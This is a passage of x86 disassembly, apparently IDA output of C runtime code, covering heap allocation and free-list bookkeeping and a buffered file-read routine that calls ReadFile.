mov ecx, dword_4E2B6C
mov edi, dword_4271C0
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call edi ; dword_4271C0
mov ecx, dword_4E2B6C
mov eax, dword_4E2B74
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4E2B74
mov ecx, dword_4E2B6C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4E2B74
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4E2B74
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41E678
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4E2B74
loc_41E678: ; CODE XREF: sub_41E3D2+29Bj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41E6EA
push ebx
push 0
push dword ptr [eax+0Ch]
call edi ; dword_4271C0
mov eax, dword_4E2B74
push dword ptr [eax+10h]
push 0
push dword_4E2B80
call dword_427144 ; RtlFreeHeap
mov eax, dword_4E2B78
mov edx, dword_4E2B7C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4E2B74
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_41D330
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4E2B78
cmp eax, dword_4E2B74
jbe short loc_41E6DC
sub eax, 14h
loc_41E6DC: ; CODE XREF: sub_41E3D2+305j
mov ecx, dword_4E2B7C
mov dword_4E2B70, ecx
jmp short loc_41E6ED
; ---------------------------------------------------------------------------
loc_41E6EA: ; CODE XREF: sub_41E3D2+233j
; sub_41E3D2+2AAj
mov eax, [ebp+arg_0]
loc_41E6ED: ; CODE XREF: sub_41E3D2+316j
mov dword_4E2B74, eax
mov dword_4E2B6C, esi
loc_41E6F8: ; CODE XREF: sub_41E3D2+226j
pop edi
pop esi
pop ebx
leave
retn
sub_41E3D2 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41E6FD proc near ; CODE XREF: sub_41BA78+69p
; sub_41BC09+Ep ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4E2B78
mov edx, dword_4E2B7C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41E73D
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41E74D
; ---------------------------------------------------------------------------
loc_41E73D: ; CODE XREF: sub_41E6FD+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41E74D: ; CODE XREF: sub_41E6FD+3Ej
mov eax, dword_4E2B70
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41E774
loc_41E75B: ; CODE XREF: sub_41E6FD+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E774
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41E75B
loc_41E774: ; CODE XREF: sub_41E6FD+5Cj
; sub_41E6FD+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41E7F2
mov ebx, edx
loc_41E77B: ; CODE XREF: sub_41E6FD+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E797
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E795
add ebx, 14h
jmp short loc_41E77B
; ---------------------------------------------------------------------------
loc_41E795: ; CODE XREF: sub_41E6FD+91j
cmp ebx, eax
loc_41E797: ; CODE XREF: sub_41E6FD+83j
jnz short loc_41E7F2
loc_41E799: ; CODE XREF: sub_41E6FD+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41E7AF
cmp dword ptr [ebx+8], 0
jnz short loc_41E7AC
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41E799
; ---------------------------------------------------------------------------
loc_41E7AC: ; CODE XREF: sub_41E6FD+A5j
cmp ebx, [ebp+var_4]
loc_41E7AF: ; CODE XREF: sub_41E6FD+9Fj
jnz short loc_41E7D7
mov ebx, edx
loc_41E7B3: ; CODE XREF: sub_41E6FD+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41E7C7
cmp dword ptr [ebx+8], 0
jnz short loc_41E7C5
add ebx, 14h
jmp short loc_41E7B3
; ---------------------------------------------------------------------------
loc_41E7C5: ; CODE XREF: sub_41E6FD+C1j
cmp ebx, eax
loc_41E7C7: ; CODE XREF: sub_41E6FD+BBj
jnz short loc_41E7D7
call sub_41EA06
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41E7EB
loc_41E7D7: ; CODE XREF: sub_41E6FD:loc_41E7AFj
; sub_41E6FD:loc_41E7C7j
push ebx
call sub_41EAB7
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41E7F2
loc_41E7EB: ; CODE XREF: sub_41E6FD+D8j
xor eax, eax
jmp loc_41EA01
; ---------------------------------------------------------------------------
loc_41E7F2: ; CODE XREF: sub_41E6FD+7Aj
; sub_41E6FD:loc_41E797j ...
mov dword_4E2B70, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41E819
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41E850
loc_41E819: ; CODE XREF: sub_41E6FD+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41E84D
loc_41E836: ; CODE XREF: sub_41E6FD+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41E836
loc_41E84D: ; CODE XREF: sub_41E6FD+137j
mov edx, [ebp+var_4]
loc_41E850: ; CODE XREF: sub_41E6FD+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41E879
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41E879: ; CODE XREF: sub_41E6FD+16Dj
; sub_41E6FD+183j
test ecx, ecx
jl short loc_41E882
shl ecx, 1
inc edi
jmp short loc_41E879
; ---------------------------------------------------------------------------
loc_41E882: ; CODE XREF: sub_41E6FD+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41E89F
push 3Fh
pop esi
loc_41E89F: ; CODE XREF: sub_41E6FD+19Dj
cmp esi, edi
jz loc_41E9B4
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E910
cmp edi, 20h
jge short loc_41E8DF
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41E90D
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41E910
; ---------------------------------------------------------------------------
loc_41E8DF: ; CODE XREF: sub_41E6FD+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41E90D
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41E910
; ---------------------------------------------------------------------------
loc_41E90D: ; CODE XREF: sub_41E6FD+1D6j
; sub_41E6FD+203j
mov ebx, [ebp+arg_0]
loc_41E910: ; CODE XREF: sub_41E6FD+1B0j
; sub_41E6FD+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41E9C0
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41E9B1
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41E982
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E970
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41E970: ; CODE XREF: sub_41E6FD+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41E9B1
; ---------------------------------------------------------------------------
loc_41E982: ; CODE XREF: sub_41E6FD+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41E99B
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41E99B: ; CODE XREF: sub_41E6FD+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41E9B1: ; CODE XREF: sub_41E6FD+24Ej
; sub_41E6FD+283j
mov ecx, [ebp+var_8]
loc_41E9B4: ; CODE XREF: sub_41E6FD+1A4j
test ecx, ecx
jz short loc_41E9C3
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41E9C3
; ---------------------------------------------------------------------------
loc_41E9C0: ; CODE XREF: sub_41E6FD+229j
mov ecx, [ebp+var_8]
loc_41E9C3: ; CODE XREF: sub_41E6FD+2B9j
; sub_41E6FD+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41E9F9
cmp ebx, dword_4E2B74
jnz short loc_41E9F9
mov ecx, [ebp+var_4]
cmp ecx, dword_4E2B6C
jnz short loc_41E9F9
and dword_4E2B74, 0
loc_41E9F9: ; CODE XREF: sub_41E6FD+2E0j
; sub_41E6FD+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41EA01: ; CODE XREF: sub_41E6FD+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41E6FD endp
; =============== S U B R O U T I N E =======================================
sub_41EA06 proc near ; CODE XREF: sub_41E6FD+CCp
mov eax, dword_4E2B78
mov ecx, dword_4E2B68
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41EA49
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4E2B7C
push edi
push dword_4E2B80
call dword_42719C ; RtlReAllocateHeap
cmp eax, edi
jz short loc_41EA99
add dword_4E2B68, 10h
mov dword_4E2B7C, eax
mov eax, dword_4E2B78
loc_41EA49: ; CODE XREF: sub_41EA06+11j
mov ecx, dword_4E2B7C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4E2B80
lea esi, [ecx+eax*4]
call dword_427148 ; RtlAllocateHeap
cmp eax, edi
mov [esi+10h], eax
jz short loc_41EA99
push 4
push 2000h
push 100000h
push edi
call dword_4271C4 ; VirtualAlloc
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41EA9D
push dword ptr [esi+10h]
push edi
push dword_4E2B80
call dword_427144 ; RtlFreeHeap
loc_41EA99: ; CODE XREF: sub_41EA06+30j
; sub_41EA06+67j
xor eax, eax
jmp short loc_41EAB4
; ---------------------------------------------------------------------------
loc_41EA9D: ; CODE XREF: sub_41EA06+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4E2B78
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41EAB4: ; CODE XREF: sub_41EA06+95j
pop edi
pop esi
retn
sub_41EA06 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EAB7 proc near ; CODE XREF: sub_41E6FD+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41EAC9: ; CODE XREF: sub_41EAB7+19j
test eax, eax
jl short loc_41EAD2
shl eax, 1
inc ebx
jmp short loc_41EAC9
; ---------------------------------------------------------------------------
loc_41EAD2: ; CODE XREF: sub_41EAB7+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41EAE7: ; CODE XREF: sub_41EAB7+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41EAE7
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
call dword_4271C4 ; VirtualAlloc
test eax, eax
jnz short loc_41EB1A
or eax, 0FFFFFFFFh
jmp loc_41EBAD
; ---------------------------------------------------------------------------
loc_41EB1A: ; CODE XREF: sub_41EAB7+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41EB60
lea eax, [edi+10h]
loc_41EB27: ; CODE XREF: sub_41EAB7+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41EB27
loc_41EB60: ; CODE XREF: sub_41EAB7+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41EB9D
or [eax+4], edi
loc_41EB9D: ; CODE XREF: sub_41EAB7+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41EBAD: ; CODE XREF: sub_41EAB7+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41EAB7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EBB2 proc near ; CODE XREF: sub_41BA78+58p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41ED60
test bl, 1
jnz loc_41ED59
add ebx, ecx
cmp esi, ebx
jg loc_41ED59
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41EC29
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41EC29: ; CODE XREF: sub_41EBB2+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41EC79
cmp ecx, 20h
jnb short loc_41EC55
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41EC79
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41EC79
; ---------------------------------------------------------------------------
loc_41EC55: ; CODE XREF: sub_41EBB2+82j
add ecx, 0FFFFFFE0h
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41EC79
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41EC79: ; CODE XREF: sub_41EBB2+7Dj
; sub_41EBB2+9Aj ...
mov ecx, [edi+8]
mov ebx, [edi+4]
mov [ecx+4], ebx
mov ecx, [edi+4]
mov edi, [edi+8]
mov [ecx+8], edi
mov ecx, [ebp+arg_8]
sub ecx, esi
add [ebp+var_4], ecx
cmp [ebp+var_4], 0
jle loc_41ED47
mov edi, [ebp+var_4]
mov ecx, [ebp+arg_4]
sar edi, 4
dec edi
lea ecx, [ecx+esi-4]
cmp edi, 3Fh
jbe short loc_41ECB3
push 3Fh
pop edi
loc_41ECB3: ; CODE XREF: sub_41EBB2+FCj
mov ebx, [ebp+var_C]
lea ebx, [ebx+edi*8]
mov [ebp+arg_8], ebx
mov ebx, [ebx+4]
mov [ecx+4], ebx
mov ebx, [ebp+arg_8]
mov [ecx+8], ebx
mov [ebx+4], ecx
mov ebx, [ecx+4]
mov [ebx+8], ecx
mov ebx, [ecx+4]
cmp ebx, [ecx+8]
jnz short loc_41ED35
mov cl, [edi+eax+4]
cmp edi, 20h
mov byte ptr [ebp+arg_8+3], cl
inc cl
mov [edi+eax+4], cl
jnb short loc_41ED0C
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41ECFF
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41ECFF: ; CODE XREF: sub_41EBB2+13Dj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, edi
jmp short loc_41ED31
; ---------------------------------------------------------------------------
loc_41ED0C: ; CODE XREF: sub_41EBB2+137j
cmp byte ptr [ebp+arg_8+3], 0
jnz short loc_41ED22
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41ED22: ; CODE XREF: sub_41EBB2+15Ej
lea eax, [eax+edx*4+0C4h]
lea ecx, [edi-20h]
mov edx, 80000000h
loc_41ED31: ; CODE XREF: sub_41EBB2+158j
shr edx, cl
or [eax], edx
loc_41ED35: ; CODE XREF: sub_41EBB2+125j
mov edx, [ebp+arg_4]
mov ecx, [ebp+var_4]
lea eax, [edx+esi-4]
mov [eax], ecx
mov [ecx+eax-4], ecx
jmp short loc_41ED4A
; ---------------------------------------------------------------------------
loc_41ED47: ; CODE XREF: sub_41EBB2+E5j
mov edx, [ebp+arg_4]
loc_41ED4A: ; CODE XREF: sub_41EBB2+193j
lea eax, [esi+1]
mov [edx-4], eax
mov [edx+esi-8], eax
jmp loc_41EEA0
; ---------------------------------------------------------------------------
loc_41ED59: ; CODE XREF: sub_41EBB2+52j
; sub_41EBB2+5Cj
xor eax, eax
jmp loc_41EEA3
; ---------------------------------------------------------------------------
loc_41ED60: ; CODE XREF: sub_41EBB2+49j
jge loc_41EEA0
mov ebx, [ebp+arg_4]
sub [ebp+arg_8], esi
lea ecx, [esi+1]
mov [ebx-4], ecx
lea ebx, [ebx+esi-4]
mov esi, [ebp+arg_8]
mov [ebp+arg_4], ebx
sar esi, 4
dec esi
mov [ebx-4], ecx
cmp esi, 3Fh
jbe short loc_41ED8B
push 3Fh
pop esi
loc_41ED8B: ; CODE XREF: sub_41EBB2+1D4j
test byte ptr [ebp+var_4], 1
jnz loc_41EE1A
mov esi, [ebp+var_4]
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41EDA4
push 3Fh
pop esi
loc_41EDA4: ; CODE XREF: sub_41EBB2+1EDj
mov ecx, [edi+4]
cmp ecx, [edi+8]
jnz short loc_41EDF3
cmp esi, 20h
jnb short loc_41EDCF
mov ebx, 80000000h
mov ecx, esi
shr ebx, cl
lea esi, [esi+eax+4]
not ebx
and [eax+edx*4+44h], ebx
dec byte ptr [esi]
jnz short loc_41EDF0
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41EDF0
; ---------------------------------------------------------------------------
loc_41EDCF: ; CODE XREF: sub_41EBB2+1FDj
lea ecx, [esi-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [esi+eax+4]
not ebx
and [eax+edx*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41EDF0
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41EDF0: ; CODE XREF: sub_41EBB2+214j
; sub_41EBB2+21Bj ...
mov ebx, [ebp+arg_4]
loc_41EDF3: ; CODE XREF: sub_41EBB2+1F8j
mov ecx, [edi+8]
mov esi, [edi+4]
mov [ecx+4], esi
mov ecx, [edi+4]
mov esi, [edi+8]
mov [ecx+8], esi
mov esi, [ebp+arg_8]
add esi, [ebp+var_4]
mov [ebp+arg_8], esi
sar esi, 4
dec esi
cmp esi, 3Fh
jbe short loc_41EE1A
push 3Fh
pop esi
loc_41EE1A: ; CODE XREF: sub_41EBB2+1DDj
; sub_41EBB2+263j
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [ebx+4], edi
mov [ebx+8], ecx
mov [ecx+4], ebx
mov ecx, [ebx+4]
mov [ecx+8], ebx
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41EE97
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [esi+eax+4], cl
jnb short loc_41EE6E
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41EE61
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx], edi
loc_41EE61: ; CODE XREF: sub_41EBB2+29Fj
lea eax, [eax+edx*4+44h]
mov edx, 80000000h
mov ecx, esi
jmp short loc_41EE93
; ---------------------------------------------------------------------------
loc_41EE6E: ; CODE XREF: sub_41EBB2+299j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41EE84
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
mov ecx, [ebp+arg_0]
or [ecx+4], edi
loc_41EE84: ; CODE XREF: sub_41EBB2+2C0j
lea eax, [eax+edx*4+0C4h]
lea ecx, [esi-20h]
mov edx, 80000000h
loc_41EE93: ; CODE XREF: sub_41EBB2+2BAj
shr edx, cl
or [eax], edx
loc_41EE97: ; CODE XREF: sub_41EBB2+287j
mov eax, [ebp+arg_8]
mov [ebx], eax
mov [eax+ebx-4], eax
loc_41EEA0: ; CODE XREF: sub_41EBB2+1A2j
; sub_41EBB2:loc_41ED60j
push 1
pop eax
loc_41EEA3: ; CODE XREF: sub_41EBB2+1A9j
pop edi
pop esi
pop ebx
leave
retn
sub_41EBB2 endp
; =============== S U B R O U T I N E =======================================
sub_41EEA8 proc near ; CODE XREF: sub_41B990+A9p
; sub_41C1FF+2Dp ...
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
mov eax, [esi+0Ch]
test al, 83h
jz loc_41EF7C
test al, 40h
jnz loc_41EF7C
test al, 2
jz short loc_41EECE
or al, 20h
mov [esi+0Ch], eax
jmp loc_41EF7C
; ---------------------------------------------------------------------------
loc_41EECE: ; CODE XREF: sub_41EEA8+1Aj
or al, 1
test ax, 10Ch
mov [esi+0Ch], eax
jnz short loc_41EEE2
push esi
call sub_423852
pop ecx
jmp short loc_41EEE7
; ---------------------------------------------------------------------------
loc_41EEE2: ; CODE XREF: sub_41EEA8+2Fj
mov eax, [esi+8]
mov [esi], eax
loc_41EEE7: ; CODE XREF: sub_41EEA8+38j
push dword ptr [esi+18h]
push dword ptr [esi+8]
push dword ptr [esi+10h]
call sub_41EF81
add esp, 0Ch
mov [esi+4], eax
test eax, eax
jz short loc_41EF6B
cmp eax, 0FFFFFFFFh
jz short loc_41EF6B
mov edx, [esi+0Ch]
test dl, 82h
jnz short loc_41EF40
mov ecx, [esi+10h]
push edi
cmp ecx, 0FFFFFFFFh
jz short loc_41EF29
mov edi, ecx
sar edi, 5
and ecx, 1Fh
mov edi, dword_4E1820[edi*4]
lea edi, [edi+ecx*8]
jmp short loc_41EF2E
; ---------------------------------------------------------------------------
loc_41EF29: ; CODE XREF: sub_41EEA8+6Bj
mov edi, offset dword_442E40
loc_41EF2E: ; CODE XREF: sub_41EEA8+7Fj
mov cl, [edi+4]
pop edi
and cl, 82h
cmp cl, 82h
jnz short loc_41EF40
or dh, 20h
mov [esi+0Ch], edx
loc_41EF40: ; CODE XREF: sub_41EEA8+62j
; sub_41EEA8+90j
cmp dword ptr [esi+18h], 200h
jnz short loc_41EF5D
mov ecx, [esi+0Ch]
test cl, 8
jz short loc_41EF5D
test ch, 4
jnz short loc_41EF5D
mov dword ptr [esi+18h], 1000h
loc_41EF5D: ; CODE XREF: sub_41EEA8+9Fj
; sub_41EEA8+A7j ...
mov ecx, [esi]
dec eax
mov [esi+4], eax
movzx eax, byte ptr [ecx]
inc ecx
mov [esi], ecx
pop esi
retn
; ---------------------------------------------------------------------------
loc_41EF6B: ; CODE XREF: sub_41EEA8+55j
; sub_41EEA8+5Aj
neg eax
sbb eax, eax
and eax, 10h
add eax, 10h
or [esi+0Ch], eax
and dword ptr [esi+4], 0
loc_41EF7C: ; CODE XREF: sub_41EEA8+Aj
; sub_41EEA8+12j ...
or eax, 0FFFFFFFFh
pop esi
retn
sub_41EEA8 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41EF81 proc near ; CODE XREF: sub_41B990+90p
; sub_41EEA8+48p ...
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_1 = byte ptr -1
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
push ebx
push esi
mov esi, [ebp+arg_0]
push edi
cmp esi, dword_4E1920
jnb loc_41F15E
mov eax, esi
and esi, 1Fh
sar eax, 5
shl esi, 3
lea ebx, ds:4E1820h[eax*4]
mov eax, dword_4E1820[eax*4]
add eax, esi
mov dl, [eax+4]
test dl, 1
jz loc_41F15E
and [ebp+var_8], 0
mov edi, [ebp+arg_4]
cmp [ebp+arg_8], 0
mov ecx, edi
jz short loc_41F036
test dl, 2
jnz short loc_41F036
test dl, 48h
jz short loc_41EFF6
mov al, [eax+5]
cmp al, 0Ah
jz short loc_41EFF6
dec [ebp+arg_8]
mov [edi], al
mov eax, [ebx]
lea ecx, [edi+1]
mov [ebp+var_8], 1
mov byte ptr [eax+esi+5], 0Ah
loc_41EFF6: ; CODE XREF: sub_41EF81+56j
; sub_41EF81+5Dj
lea eax, [ebp+var_C]
push 0
push eax
mov eax, [ebx]
push [ebp+arg_8]
push ecx
push dword ptr [eax+esi]
call dword_4270E8 ; ReadFile
test eax, eax
jnz short loc_41F049
call dword_42708C ; RtlGetLastWin32Error
push 5
pop ecx
cmp eax, ecx
jnz short loc_41F031
mov dword_4E14F8, 9
mov dword_4E14FC, ecx
jmp loc_41F16F
; ---------------------------------------------------------------------------
loc_41F031: ; CODE XREF: sub_41EF81+99j
cmp eax, 6Dh
jnz short loc_41F03D
loc_41F036: ; CODE XREF: sub_41EF81+4Cj
; sub_41EF81+51j
xor eax, eax
jmp loc_41F172
; ---------------------------------------------------------------------------
loc_41F03D: ; CODE XREF: sub_41EF81+B3j
push eax
call sub_420244
pop ecx
jmp loc_41F16F
; ---------------------------------------------------------------------------
loc_41F049: ; CODE XREF: sub_41EF81+8Cj
mov eax, [ebx]
mov edx, [ebp+var_C]
add [ebp+var_8], edx
lea ecx, [eax+esi+4]
mov al, [eax+esi+4]
test al, 80h
jz loc_41F159
test edx, edx
jz short loc_41F06E
cmp byte ptr [edi], 0Ah
jnz short loc_41F06E
or al, 4
jmp short loc_41F070
; ---------------------------------------------------------------------------
loc_41F06E: ; CODE XREF: sub_41EF81+E2j
; sub_41EF81+E7j
and al, 0FBh
loc_41F070: ; CODE XREF: sub_41EF81+EBj
mov [ecx], al
mov eax, [ebp+arg_4]
mov ecx, [ebp+var_8]
